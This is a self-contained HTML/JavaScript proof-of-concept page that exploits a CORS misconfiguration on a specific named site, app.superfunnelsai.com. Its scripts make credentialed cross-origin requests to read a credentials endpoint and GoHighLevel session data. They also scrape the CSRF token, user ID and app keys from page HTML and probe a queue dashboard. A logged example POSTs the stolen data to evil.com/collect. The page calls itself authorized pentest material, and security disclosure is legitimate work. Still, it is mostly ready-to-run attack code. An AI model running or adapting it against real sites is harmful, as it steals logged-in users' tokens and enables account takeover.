2026-02-06 23:01:30 -05:00

362 lines
14 KiB
HTML

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CORS Token Theft PoC — SuperFunnels AI</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: 'Courier New', monospace; background: #0a0a0a; color: #00ff41; padding: 40px; }
h1 { color: #ff3333; margin-bottom: 10px; font-size: 24px; }
.subtitle { color: #888; margin-bottom: 30px; font-size: 14px; }
.panel { background: #111; border: 1px solid #333; border-radius: 8px; padding: 20px; margin-bottom: 20px; }
.panel h2 { color: #ffaa00; margin-bottom: 15px; font-size: 16px; }
button { background: #ff3333; color: white; border: none; padding: 12px 24px; font-family: inherit; font-size: 14px; cursor: pointer; border-radius: 4px; margin: 5px; }
button:hover { background: #ff5555; }
button:disabled { background: #333; color: #666; cursor: not-allowed; }
.log { background: #0a0a0a; border: 1px solid #222; padding: 15px; border-radius: 4px; max-height: 400px; overflow-y: auto; white-space: pre-wrap; font-size: 13px; line-height: 1.6; }
.success { color: #00ff41; }
.error { color: #ff3333; }
.warn { color: #ffaa00; }
.info { color: #66ccff; }
.stolen { color: #ff00ff; font-weight: bold; }
.header-bar { display: flex; justify-content: space-between; align-items: center; margin-bottom: 30px; }
.status { padding: 6px 12px; border-radius: 4px; font-size: 12px; }
.status.ready { background: #1a3a1a; color: #00ff41; border: 1px solid #00ff41; }
.status.attacking { background: #3a1a1a; color: #ff3333; border: 1px solid #ff3333; animation: pulse 1s infinite; }
@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
.disclaimer { background: #1a1a00; border: 1px solid #444400; padding: 15px; border-radius: 4px; margin-bottom: 20px; color: #aaaa00; font-size: 12px; }
</style>
</head>
<body>
<div class="header-bar">
<div>
<h1>🔴 CORS Token Theft — Proof of Concept</h1>
<div class="subtitle">Demonstrates wildcard CORS + credential reflection on app.superfunnelsai.com</div>
</div>
<div class="status ready" id="status">READY</div>
</div>
<div class="disclaimer">
⚠️ <strong>AUTHORIZED PENTEST ONLY</strong> — This PoC demonstrates a real vulnerability.
It works by making cross-origin requests WITH cookies to the SuperFunnels API from this page (a different origin).
Because the server reflects any Origin + allows credentials, the browser lets us read the response.
<br><br>
<strong>How to test:</strong> Open another tab, log into app.superfunnelsai.com, then come back here and click "Run Exploit".
</div>
<div class="panel">
<h2>🎯 Attack Controls</h2>
<button onclick="runFullExploit()" id="btn-full">Run Full Exploit Chain</button>
<button onclick="testCorsOnly()" id="btn-cors">Test CORS Headers Only</button>
<button onclick="stealCredentials()" id="btn-steal">Steal GHL Credentials</button>
<button onclick="stealSession()" id="btn-session">Steal Session Info</button>
<button onclick="clearLog()">Clear Log</button>
</div>
<div class="panel">
<h2>📡 Exploit Output</h2>
<div class="log" id="log"></div>
</div>
<div class="panel">
<h2>🏴‍☠️ Exfiltrated Data</h2>
<div class="log" id="stolen-data">Waiting for exploit to run...</div>
</div>
<script>
const TARGET = 'https://app.superfunnelsai.com';
const logEl = document.getElementById('log');
const stolenEl = document.getElementById('stolen-data');
const statusEl = document.getElementById('status');
let stolenTokens = {};
function log(msg, cls = '') {
const time = new Date().toLocaleTimeString();
logEl.innerHTML += `<span class="${cls}">[${time}] ${msg}</span>\n`;
logEl.scrollTop = logEl.scrollHeight;
}
function setStatus(text, cls) {
statusEl.textContent = text;
statusEl.className = `status ${cls}`;
}
function clearLog() {
logEl.innerHTML = '';
stolenEl.innerHTML = 'Waiting for exploit to run...';
stolenTokens = {};
setStatus('READY', 'ready');
}
// Step 1: Verify CORS misconfiguration
async function testCorsOnly() {
log('═══════════════════════════════════════', 'warn');
log('PHASE 1: CORS Configuration Test', 'warn');
log('═══════════════════════════════════════', 'warn');
log('');
log(`This page origin: ${window.location.origin}`, 'info');
log(`Target: ${TARGET}`, 'info');
log(`Testing if target reflects our origin with credentials...`, 'info');
log('');
try {
// Simple GET with credentials
const resp = await fetch(`${TARGET}/api/funnel-clone/credentials`, {
method: 'GET',
credentials: 'include',
headers: {
'Accept': 'application/json',
}
});
log(`Response status: ${resp.status}`, resp.ok ? 'success' : 'error');
log('', '');
log('Response headers:', 'info');
const corsOrigin = resp.headers.get('access-control-allow-origin');
const corsCreds = resp.headers.get('access-control-allow-credentials');
// Note: not all headers are exposed to JS, but CORS headers are
log(` Access-Control-Allow-Origin: ${corsOrigin || '(not visible to JS)'}`, corsOrigin ? 'stolen' : 'warn');
log(` Access-Control-Allow-Credentials: ${corsCreds || '(not visible to JS)'}`, corsCreds ? 'stolen' : 'warn');
if (resp.ok) {
log('', '');
log('🔴 CORS VULNERABILITY CONFIRMED!', 'error');
log('The server allowed a cross-origin credentialed request', 'error');
log('and we could read the response. This means ANY website', 'error');
log('can steal data from logged-in users.', 'error');
const data = await resp.json();
log('', '');
log('Response body (proving we can read it):', 'success');
log(JSON.stringify(data, null, 2), 'success');
return { success: true, data };
} else if (resp.status === 401) {
log('', '');
log('Got 401 — you are not logged into SuperFunnels in this browser.', 'warn');
log('Log in at https://app.superfunnelsai.com/app/login in another tab,', 'warn');
log('then come back and try again.', 'warn');
return { success: false, reason: 'not_logged_in' };
} else {
log(`Unexpected status: ${resp.status}`, 'error');
const text = await resp.text();
log(text.substring(0, 500), 'error');
return { success: false, reason: 'unexpected_status' };
}
} catch (e) {
log(`Request failed: ${e.message}`, 'error');
log('', '');
if (e.message.includes('CORS') || e.message.includes('cross-origin')) {
log('CORS blocked the request — the vulnerability may have been patched!', 'success');
} else {
log('Network error — check if the target is accessible.', 'warn');
}
return { success: false, reason: 'error' };
}
}
// Step 2: Steal GHL credentials
async function stealCredentials() {
log('', '');
log('═══════════════════════════════════════', 'warn');
log('PHASE 2: GHL Credential Exfiltration', 'warn');
log('═══════════════════════════════════════', 'warn');
log('');
log('Attempting to steal GHL session data...', 'info');
try {
const resp = await fetch(`${TARGET}/api/funnel-clone/credentials`, {
method: 'GET',
credentials: 'include',
headers: { 'Accept': 'application/json' }
});
if (resp.ok) {
const data = await resp.json();
log('', '');
log('🏴‍☠️ CREDENTIALS STOLEN:', 'stolen');
log(JSON.stringify(data, null, 2), 'stolen');
stolenTokens.ghlCredentials = data;
updateStolenDisplay();
// Check if there's an active GHL session
if (data.session && data.session.exists) {
log('', '');
log('⚡ ACTIVE GHL SESSION FOUND!', 'error');
log('The user has a connected GoHighLevel account.', 'error');
log('Their GHL tokens are accessible via this endpoint.', 'error');
} else {
log('', '');
log('No active GHL session — but we proved the endpoint is readable.', 'warn');
log('If the user had GHL connected, we would have their tokens.', 'warn');
}
return data;
} else if (resp.status === 401) {
log('Not logged in — need an active session.', 'warn');
}
} catch (e) {
log(`Failed: ${e.message}`, 'error');
}
}
// Step 3: Steal session/CSRF info
async function stealSession() {
log('', '');
log('═══════════════════════════════════════', 'warn');
log('PHASE 3: Session & CSRF Token Theft', 'warn');
log('═══════════════════════════════════════', 'warn');
log('');
// Try to get the XSRF token from cookies (it's not HttpOnly)
const cookies = document.cookie;
log(`Cookies visible from this origin: ${cookies || '(none — expected, cookies are scoped)'}`, 'info');
log('', '');
log('Note: We cannot read their cookies directly (same-origin policy).', 'info');
log('But we CAN make requests that INCLUDE their cookies, and read responses.', 'info');
log('This is what makes the CORS vuln so dangerous.', 'info');
log('', '');
// Try fetching the main app page to get CSRF token from meta tag
try {
log('Fetching app page to extract CSRF meta tag...', 'info');
const resp = await fetch(`${TARGET}/app/funnel-cloner`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
});
if (resp.ok) {
const html = await resp.text();
// Extract CSRF token from meta tag
const csrfMatch = html.match(/csrf-token['"]\s*content=['"](.*?)['"]/);
if (csrfMatch) {
log(`🏴‍☠️ CSRF TOKEN STOLEN: ${csrfMatch[1]}`, 'stolen');
stolenTokens.csrfToken = csrfMatch[1];
}
// Extract Livewire data
const wireMatch = html.match(/wire:snapshot="(.*?)"/);
if (wireMatch) {
try {
const snapshot = JSON.parse(wireMatch[1].replace(/&quot;/g, '"'));
log(`🏴‍☠️ LIVEWIRE SNAPSHOT STOLEN`, 'stolen');
stolenTokens.livewireSnapshot = snapshot;
} catch(e) {}
}
// Extract user ID from meta or script
const userIdMatch = html.match(/user[_-]?id['":\s]+(\d+)/i);
if (userIdMatch) {
log(`🏴‍☠️ USER ID STOLEN: ${userIdMatch[1]}`, 'stolen');
stolenTokens.userId = userIdMatch[1];
}
// Extract Reverb/Pusher config
const reverbMatch = html.match(/REVERB_APP_KEY['":\s]+'([^']+)'/);
if (reverbMatch) {
log(`🏴‍☠️ REVERB KEY: ${reverbMatch[1]}`, 'stolen');
}
log('', '');
log('Full HTML response received — could extract any data from the page.', 'success');
log(`Response size: ${html.length} bytes`, 'info');
updateStolenDisplay();
} else if (resp.status === 401 || resp.status === 302) {
log('Not logged in or redirected to login.', 'warn');
}
} catch(e) {
log(`Failed: ${e.message}`, 'error');
}
// Try the Horizon API too
log('', '');
log('Bonus: Testing Horizon queue dashboard access...', 'info');
try {
const resp = await fetch(`${TARGET}/horizon/api/stats`, {
credentials: 'include',
headers: { 'Accept': 'application/json' }
});
log(`Horizon /api/stats: ${resp.status}`, resp.ok ? 'stolen' : 'info');
if (resp.ok) {
const data = await resp.json();
log(`🏴‍☠️ HORIZON STATS STOLEN:`, 'stolen');
log(JSON.stringify(data, null, 2), 'stolen');
stolenTokens.horizonStats = data;
}
} catch(e) {
log(`Horizon: ${e.message}`, 'info');
}
}
// Full exploit chain
async function runFullExploit() {
setStatus('ATTACKING', 'attacking');
log('╔═══════════════════════════════════════════════╗', 'error');
log('║ CORS TOKEN THEFT — FULL EXPLOIT CHAIN ║', 'error');
log('║ Target: app.superfunnelsai.com ║', 'error');
log('║ Attack: Cross-Origin Credential Theft ║', 'error');
log('╚═══════════════════════════════════════════════╝', 'error');
log('', '');
log(`Attacker origin: ${window.location.origin}`, 'info');
log(`Victim site: ${TARGET}`, 'info');
log('', '');
log('In a real attack, this page would be hosted on evil.com', 'warn');
log('and the victim would visit it while logged into SuperFunnels.', 'warn');
log('All stolen data would be sent to the attacker\'s server.', 'warn');
log('', '');
const corsResult = await testCorsOnly();
if (corsResult.success || corsResult.reason !== 'error') {
await stealCredentials();
await stealSession();
}
log('', '');
log('═══════════════════════════════════════', 'warn');
log('EXPLOIT CHAIN COMPLETE', 'warn');
log('═══════════════════════════════════════', 'warn');
log('', '');
if (Object.keys(stolenTokens).length > 0) {
log('In a real attack, all stolen data would now be', 'error');
log('POSTed to the attacker\'s C2 server. Example:', 'error');
log('', '');
log('fetch("https://evil.com/collect", {', 'error');
log(' method: "POST",', 'error');
log(' body: JSON.stringify(stolenData)', 'error');
log('})', 'error');
log('', '');
log(`Total items exfiltrated: ${Object.keys(stolenTokens).length}`, 'stolen');
// With CSRF token, we could also WRITE data
if (stolenTokens.csrfToken) {
log('', '');
log('⚡ WITH THE CSRF TOKEN, WE COULD ALSO:', 'error');
log(' - Inject our own GHL session via /api/ghl-session/extension', 'error');
log(' - Delete the user\'s GHL session via DELETE /api/funnel-clone/credentials', 'error');
log(' - Perform any state-changing action as the user', 'error');
}
}
setStatus('COMPLETE', 'ready');
updateStolenDisplay();
}
function updateStolenDisplay() {
if (Object.keys(stolenTokens).length === 0) {
stolenEl.innerHTML = 'No data exfiltrated yet.';
return;
}
stolenEl.innerHTML = '<span class="stolen">EXFILTRATED DATA:</span>\n\n';
stolenEl.innerHTML += JSON.stringify(stolenTokens, null, 2);
}
</script>
</body>
</html>